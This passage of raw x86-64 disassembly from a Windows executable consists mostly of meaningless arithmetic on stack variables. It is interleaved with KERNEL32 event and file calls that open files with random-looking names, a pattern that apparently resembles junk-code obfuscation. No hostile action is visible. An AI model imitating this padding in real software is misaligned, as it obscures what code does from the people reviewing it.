mov rcx, qword [rsp + 0xb50]
mov qword [rsp + 0x45a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45a0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x620]
mov qword [rcx], rax
mov rax, qword [rsp + 0x16c8]
mov qword [rsp + 0x1440], rax
mov rax, qword [rsp + 0xb38]
mov rcx, qword [rsp + 0x780]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xf88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x110]
or eax, ecx
mov rcx, qword [rsp + 0x7e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x79c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x798], eax
mov rax, qword [rsp + 0xf30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd90]
mov qword [rsp + 0x45a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45a8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x338], rax
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x2418], rax
imul eax, dword [rsp + 0xcf0], 0x51520437
mov rcx, qword [rsp + 0xdc0]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf4], eax
movzx eax, byte [rsp + 0xe7]
movzx ecx, byte [rsp + 0xfb]
add eax, ecx
mov byte [rsp + 0xcd], al
movsx eax, word [rsp + 0x21c]
mov rcx, qword [rsp + 0xd70]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1400fc3b8], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov word [rsp + 0x558], ax
movzx eax, word [rsp + 0x1cc]
mov rcx, qword [rsp + 0x9e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x254], ax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov qword [rsp + 0x1b18], rax
mov rax, qword [rsp + 0x12c0]
mov eax, dword [rax]
add eax, dword [rsp + 0xc8]
mov dword [rsp + 0x574], eax
mov rax, qword [rsp + 0x628]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1800]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
mov rax, qword [rsp + 0xfb0]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fc381]
sar eax, cl
mov byte [rsp + 0x10e], al
mov rax, qword [rsp + 0xd70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x258]
shl eax, cl
mov word [rsp + 0xae8], ax
movzx eax, word [rsp + 0x24c]
mov word [rsp + 0x384], ax
lea rax, [rsp + 0x14a0]
mov qword [0x1400fd2b8], rax
mov rax, qword [rsp + 0x648]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x11e8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1148]
mov word [rcx], ax
mov rax, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0xff0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x12f0], rax
mov rax, qword [0x1400fd1b0]
mov rcx, qword [rsp + 0xc78]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x200]
mov qword [rcx], rax
mov rax, qword [rsp + 0x988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x79c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x574], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa222
mov rcx, qword [rsp + 0x17b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10d8], eax
mov rax, qword [rsp + 0x1c80]
mov qword [rsp + 0x1d00], rax
movzx eax, byte [rsp + 0x59]
mov rcx, qword [rsp + 0x2f0]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x830]
mov byte [rcx], al
mov rax, qword [rsp + 0x2320]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x678]
sar eax, cl
mov dword [rsp + 0xad4], eax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [0x1400fd238]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x7e0]
movzx eax, word [rax]
mov word [0x1400fd2c0], ax
mov rax, qword [rsp + 0x7e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa78]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd0], ax
movzx eax, word [0x1400fc398]
mov word [rsp + 0x4c0], ax
mov rcx, qword [rsp + 0x7e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, word [rsp + 0x1cc]
movzx ecx, word [rsp + 0x2c0]
and eax, ecx
mov word [rsp + 0x420], ax
mov rax, qword [rsp + 0x1920]
mov qword [rsp + 0x17c8], rax
movsx eax, byte [rsp + 0xe9]
movsx ecx, byte [rsp + 0xf4]
and eax, ecx
mov byte [rsp + 0x11e], al
mov rax, qword [rsp + 0x1050]
mov rcx, qword [rsp + 0xca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x568], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x521b
mov rcx, qword [rsp + 0x1ce8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27bc], eax
movsx eax, word [rsp + 0x304]
mov rcx, qword [rsp + 0x740]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x240], ax
movzx eax, word [0x1400fd178]
movzx ecx, word [rsp + 0x12c]
xor eax, ecx
mov word [rsp + 0x384], ax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x16f8]
mov qword [rsp + 0x45b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45b0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x1400fc388], rax
lea rax, [rsp + 0xb70]
mov qword [rsp + 0xb48], rax
mov rax, qword [rsp + 0x7f8]
mov rcx, qword [rsp + 0x738]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb80], rax
movzx eax, word [rsp + 0x24c]
mov word [rsp + 0x4a4], ax
mov rax, qword [rsp + 0x2320]
mov eax, dword [rax]
add eax, dword [rsp + 0x7a0]
mov dword [rsp + 0x9fc], eax
lea rax, [rsp + 0x10a]
mov qword [rsp + 0x1090], rax
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.m6cWV0rDPN58HsU_no7BhXdgfPFx6
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3690], rax
mov rax, qword [rsp + 0x3c0]
mov rax, qword [rax]
add rax, qword [0x1400fc3d8]
mov qword [rsp + 0x1d00], rax
lea rax, [rsp + 0xfc]
mov qword [rsp + 0x1950], rax
lea rax, [rsp + 0x8e0]
mov qword [0x1400fd2c8], rax
movsx eax, word [rsp + 0x64]
movsx ecx, word [rsp + 0x98]
and eax, ecx
mov rcx, qword [rsp + 0x770]
mov word [rcx], ax
movsx eax, word [0x1400fd130]
mov rcx, qword [rsp + 0x958]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1a0], ax
movzx eax, word [rsp + 0x5ac]
mov rcx, qword [rsp + 0x1288]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb04], ax
mov rax, qword [rsp + 0xb48]
mov rcx, qword [0x1400fd128]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x1f0], rax
mov rcx, qword [rsp + 0x1160]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x19a0]
mov qword [rsp + 0xfd0], rax
mov rax, qword [rsp + 0x1050]
mov eax, dword [rax]
add eax, dword [rsp + 0x9dc]
mov dword [rsp + 0x660], eax
movsx eax, byte [rsp + 0xe9]
movsx ecx, byte [rsp + 0xf9]
and eax, ecx
mov rcx, qword [rsp + 0x1410]
mov byte [rcx], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x6ffb
mov rcx, qword [rsp + 0x1bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcfc], eax
mov rax, qword [rsp + 0x190]
movzx eax, word [rax]
mov word [rsp + 0x4d0], ax
mov rcx, qword [rsp + 0x1338]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1118], eax
mov rax, qword [rsp + 0x9e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc3f0], ax
mov rax, qword [0x1400fd1b0]
mov rcx, qword [rsp + 0xd78]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x2448], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xbba2
mov rcx, qword [rsp + 0x2438]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
movzx eax, word [rsp + 0x214]
mov word [rsp + 0x430], ax
mov rax, qword [rsp + 0x1090]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd20]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x800]
mov byte [rcx], al
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0x7a0]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x1730]
mov dword [rcx], eax
lea rax, [rsp + 0x838]
mov qword [rsp + 0x1018], rax
mov rax, qword [rsp + 0x988]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1050]
mov qword [rsp + 0x45b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x7ac], eax
mov rcx, qword [rsp + 0x1b50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1664], eax
lea rax, [rsp + 0x81]
mov qword [rsp + 0x1430], rax
movsx eax, word [rsp + 0x71c]
movsx ecx, word [rsp + 0x3a8]
add eax, ecx
mov word [rsp + 0x4f8], ax
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fd280], ax
mov rax, qword [rsp + 0xb38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x17e8], rax
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1070]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xf88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa58]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf50]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x770]
mov word [rcx], ax
mov rax, qword [rsp + 0x1148]
movzx eax, word [rax]
mov word [rsp + 0x210], ax
mov rax, qword [rsp + 0xf78]
mov rcx, qword [rsp + 0x470]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xfc0], rax
lea rax, [rsp + 0xe9]
mov qword [rsp + 0x1840], rax
mov eax, dword [rsp + 0x674]
mov ecx, dword [rsp + 0x670]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x11f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x620]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x320]
add rax, qword [rcx]
mov qword [rsp + 0xd00], rax
movsx eax, word [rsp + 0x280]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1400fd158]
mov word [rcx], ax
lea rax, [rsp + 0x220]
mov qword [rsp + 0x1530], rax
movzx eax, byte [rsp + 0xfb]
movzx ecx, byte [rsp + 0x91]
shl eax, cl
mov rcx, qword [rsp + 0x2e8]
mov byte [rcx], al
mov rax, qword [0x1400fd138]
mov ecx, dword [rsp + 0xa4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xacc], eax
mov rax, qword [rsp + 0x16f8]
mov rcx, qword [rsp + 0x1060]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x978], rax
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf78]
mov qword [rsp + 0x45c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45c0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xa68]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.3eNiEEK0mnBhUMeOIPO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3670], rax
mov eax, 0x38
imul rax, rax, 3
mov dword [rsp + rax + 0x5b80], 0x4af8e153
mov rax, qword [rsp + 0xca8]
mov eax, dword [rax]
mov dword [rsp + 0x10e8], eax
movsx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0x1200]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x100]
mov byte [rcx], al
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x12d0], rax
lea rax, [rsp + 0x26c]
mov qword [0x1400fd2d0], rax
mov rax, qword [rsp + 0xc78]
mov rcx, qword [rsp + 0xb68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa30]
mov qword [rcx], rax
movzx eax, word [rsp + 0x39c]
movzx ecx, word [0x1400fd260]
and eax, ecx
mov word [rsp + 0x434], ax
movzx eax, word [rsp + 0x54]
mov word [rsp + 0x248], ax
mov rax, qword [rsp + 0xb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x12f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x12f0], rax
mov rax, qword [rsp + 0xfd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11c8]
mov qword [rsp + 0x45c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45c8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xf98], rax
movsx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x10b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x61], al
lea rax, [rsp + 0x574]
mov qword [rsp + 0x1498], rax
movzx eax, word [0x1400fd144]
mov rcx, qword [rsp + 0x658]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x13c], ax
mov rax, qword [rsp + 0xff0]
mov rax, qword [rax]
mov qword [0x1400fd2d8], rax
mov rax, qword [rsp + 0x970]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xa38]
idiv dword [rcx]
mov rcx, qword [rsp + 0x2320]
mov dword [rcx], eax
lea rax, [rsp + 0x59]
mov qword [rsp + 0xd98], rax
mov rcx, qword [rsp + 0x24c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1118], eax
movsx eax, word [rsp + 0x264]
mov rcx, qword [rsp + 0xa28]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x174], ax
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0xd68], rax
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x960]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x2418]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xf4], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xdc94
mov rcx, qword [rsp + 0x1778]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
lea rax, [rsp + 0xc70]
mov qword [rsp + 0x1818], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x23c0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xae61
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
mov rax, qword [rsp + 0x958]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19c]
sar eax, cl
mov word [rsp + 0x248], ax
mov rax, qword [rsp + 0xf38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xec]
add eax, ecx
mov word [0x1400fd1c8], ax
lea rax, [rsp + 0x760]
mov qword [rsp + 0x1218], rax
mov rax, qword [rsp + 0x618]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2be8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x2358], rax
mov rax, qword [rsp + 0xc90]
mov rcx, qword [rsp + 0x1188]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1070], rax
mov rax, qword [rsp + 0x278]
movzx eax, word [rax]
mov word [rsp + 0x588], ax
mov rax, qword [rsp + 0x838]
mov rcx, qword [rsp + 0x1c20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1260], rax
mov rax, qword [rsp + 0x1bc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2d5], al
mov rcx, qword [rsp + 0x1480]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x1400fd214]
movzx ecx, al
mov eax, dword [rsp + 0x9a4]
shr eax, cl
mov rcx, qword [rsp + 0x1050]
mov dword [rcx], eax
lea rax, [rsp + 0x94]
mov qword [rsp + 0x1058], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.SJmgJmaNVHqJbMPCij6Xt97V
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1868], rax
mov rcx, qword [rsp + 0x1e68]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1668], eax
movzx eax, byte [rsp + 0xfb]
movzx ecx, byte [rsp + 0x10a]
add eax, ecx
mov byte [rsp + 0x118], al
movsx eax, word [rsp + 0x304]
movsx ecx, word [0x1400fd130]
sub eax, ecx
mov word [0x1400fd140], ax
movzx eax, word [rsp + 0x160]
movzx ecx, word [rsp + 0x288]
and eax, ecx
mov word [rsp + 0x8c], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
mov word [rsp + 0x36c], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1833
mov rcx, qword [rsp + 0x1d08]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
mov rax, qword [rsp + 0xb50]
mov rax, qword [rax]
mov rcx, qword [0x1400fd1a8]
mov qword [rsp + 0x45d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45d0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xfe0], rax
mov rax, qword [rsp + 0x988]
mov rcx, qword [rsp + 0x1400]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xce8], eax
mov rax, qword [rsp + 0x10b0]
movsx eax, byte [rax]
movsx ecx, byte [0x1400fd133]
xor eax, ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1208]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x24d0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2450], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3733
mov rcx, qword [rsp + 0x3650]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9e8], eax
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xadc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.KWxAu9qR0Xch95ylwEi8Zl_ax1ugc4QRq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2840], rax
movzx eax, word [rsp + 0x280]
mov word [rsp + 0x368], ax
mov rax, qword [rsp + 0x2a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb04]
sar eax, cl
mov rcx, qword [rsp + 0x658]
mov word [rcx], ax
lea rax, [rsp + 0x1188]
mov qword [0x1400fd2e0], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
mov word [rsp + 0x3a0], ax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
mov rax, qword [rsp + 0xd48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x748]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa30]
mov rcx, qword [rsp + 0x1088]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x978], rax
lea rax, [rsp + 0x11a]
mov qword [rsp + 0xdc8], rax
mov rax, qword [rsp + 0xd58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x570]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dc], eax
mov rax, qword [rsp + 0x2e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x10d], al
mov rax, qword [rsp + 0x1278]
mov eax, dword [rax]
add eax, dword [rsp + 0x47c]
mov dword [rsp + 0x480], eax
mov rax, qword [rsp + 0x1260]
mov rcx, qword [rsp + 0x1040]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1208], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x5616
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcc4], eax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1400fd1b8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x1910], rax
mov rax, qword [rsp + 0xc80]
movzx eax, word [rax]
mov word [rsp + 0x464], ax
mov rax, qword [rsp + 0x9e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x40c]
or eax, ecx
mov word [rsp + 0x198], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x890e
mov rcx, qword [rsp + 0x2520]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xac0], eax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x178]
mov qword [rsp + 0xdb0], rax
mov eax, dword [rsp + 0x640]
mov rcx, qword [rsp + 0x988]
mov qword [rsp + 0x45d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9dc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.ghcN7JF8fVfPOpZ_fEWT7aobR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2e98], rax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
lea rax, [0x1400fd133]
mov qword [rsp + 0x1340], rax
mov rax, qword [rsp + 0xd90]
mov rcx, qword [rsp + 0x338]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x11c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x770]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x140]
sub eax, ecx
mov word [rsp + 0x1d0], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x4884
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xe18], eax
movzx eax, word [0x1400fd178]
mov rcx, qword [rsp + 0x9e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaec], ax
mov rax, qword [rsp + 0x14a0]
mov qword [0x1400fd2e8], rax
mov rax, qword [rsp + 0xd30]
movzx ecx, al
mov rax, qword [rsp + 0x760]
sar rax, cl
mov qword [rsp + 0x16c0], rax
mov rax, qword [rsp + 0x950]
mov qword [rsp + 0x1e58], rax
mov rax, qword [rsp + 0x790]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2be8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd30], rax
mov rax, qword [rsp + 0xd10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x128]
add eax, ecx
mov word [rsp + 0xaec], ax
movzx eax, byte [rsp + 0xb0]
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0x1948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x20c], eax
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x634]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb8c], eax
mov rax, qword [rsp + 0x1078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x11c0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x768]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0xf7]
sar eax, cl
mov byte [0x1400fc382], al
movsx eax, word [rsp + 0x248]
mov rcx, qword [rsp + 0x788]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x740]
mov word [rcx], ax
mov rax, qword [rsp + 0x740]
movzx eax, word [rax]
mov word [rsp + 0x444], ax
mov rax, qword [rsp + 0x11e8]
movzx eax, word [rax]
movzx ecx, word [0x1400fc3b4]
shl eax, cl
mov word [rsp + 0x210], ax
mov rax, qword [rsp + 0xff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9c0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x1bb0], rax
mov rax, qword [rsp + 0x1008]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7a4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x988]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1430]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xdc8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf4], al
mov rax, qword [rsp + 0xf78]
mov rax, qword [rax]
mov qword [rsp + 0x22a0], rax
mov rax, qword [rsp + 0xa28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x444], ax
mov rax, qword [0x1400fd160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d0]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1400fd270]
mov word [rcx], ax
lea rax, [rsp + 0x1070]
mov qword [rsp + 0x1138], rax
mov rax, qword [rsp + 0xd10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36c], ax
lea rax, [rsp + 0x10f0]
mov qword [rsp + 0xc50], rax
movzx eax, byte [rsp + 0xfa]
mov rcx, qword [rsp + 0x668]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb0], al
mov eax, 0x38
imul rax, rax, 3
mov byte [rsp + rax + 0x5b91], 1
mov rax, qword [rsp + 0x3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1448]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1208], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax]
mov dword [rsp + 0xbc0], eax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [rsp + 0xa88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe4], al
movsx eax, word [rsp + 0x270]
movsx ecx, word [rsp + 0x368]
and eax, ecx
mov word [rsp + 0x25c], ax
mov rax, qword [rsp + 0x7d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd68]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc3e4], ax
mov rax, qword [rsp + 0x748]
mov rcx, qword [rsp + 0x790]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0xb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd50]
mov qword [rsp + 0x45e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x45e0]
